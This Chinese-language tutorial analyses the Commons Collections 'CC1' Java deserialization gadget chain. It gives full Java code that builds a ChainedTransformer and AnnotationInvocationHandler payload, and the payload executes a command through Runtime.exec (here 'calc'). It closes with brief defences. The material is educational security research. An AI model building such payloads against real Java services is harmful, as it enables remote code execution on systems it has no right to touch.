JAVA安全初探(三):CC1链全分析
字数 1265 2025-08-24 16:48:15
Java安全研究:CC1反序列化漏洞链全面分析
一、环境准备
1. JDK配置
- 使用JDK 8u65版本
- 配置到IDEA中:文件 → 项目结构 → SDK → 添加JDK路径
2. Maven依赖
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
3. JDK源码配置
- 下载JDK源码:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
- 解压后复制
src/share/classes/sun到JDK的src目录 - IDEA中配置:文件 → 项目结构 → SDK → 源路径 → 添加src文件夹
二、漏洞链分析
1. 利用点分析(终点)
核心类:InvokerTransformer
- 实现了
Transformer接口和Serializable接口 - 关键方法
transform:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs); // 反射调用任意方法
} catch (Exception ex) {
throw new FunctorException(...);
}
}
利用方式:
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
invokerTransformer.transform(r);
2. 漏洞链构建
第一站:TransformedMap
TransformedMap.decorate()方法可创建实例checkSetValue()方法会调用transform
Map<Object, Object> transformedmap = TransformedMap.decorate(
new HashMap<>(),
null,
invokerTransformer
);
第二站:MapEntry.setValue
AbstractInputCheckedMapDecorator.MapEntry重写了setValue- 遍历Map时调用
setValue会触发checkSetValue
for(Map.Entry entry: transformedmap.entrySet()) {
entry.setValue(r);
}
第三站:AnnotationInvocationHandler.readObject
- 重写了
readObject方法 - 反序列化时会调用
setValue
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedmap);
3. 问题解决
问题1:Runtime不可序列化
解决方案:使用反射链
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getDeclaredMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
问题2:memberType为空
解决方案:使用Target注解并设置键为"value"
map.put("value", "gxngxngxn");
constructor.newInstance(Target.class, transformedmap);
问题3:value值不正确
解决方案:添加ConstantTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
// 其他transformers...
};
三、完整利用链
public static void main(String[] args) throws Exception {
// 构造Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 构造TransformedMap
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "gxngxngxn");
Map<Object, Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
// 反射获取AnnotationInvocationHandler
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedmap);
// 序列化与反序列化
serialize(o);
unserialize("CC1.txt");
}
四、调用流程总结
AnnotationInvocationHandler.readObject反序列化时- 调用
TransformedMap的setValue方法 - 触发
checkSetValue方法 - 调用
InvokerTransformer.transform方法 - 通过反射链执行
Runtime.getRuntime().exec("calc")
五、关键知识点
- Java反射机制:动态获取类信息和调用方法
- Transformer接口:Commons Collections中的转换接口
- ChainedTransformer:将多个Transformer串联执行
- TransformedMap:装饰器模式增强Map功能
- AnnotationInvocationHandler:JDK内部类处理注解
- 序列化/反序列化:对象持久化和传输机制
六、防御措施
- 升级Commons Collections到安全版本
- 使用安全管理器限制反序列化
- 实现
ObjectInputFilter过滤危险类 - 避免反序列化不可信数据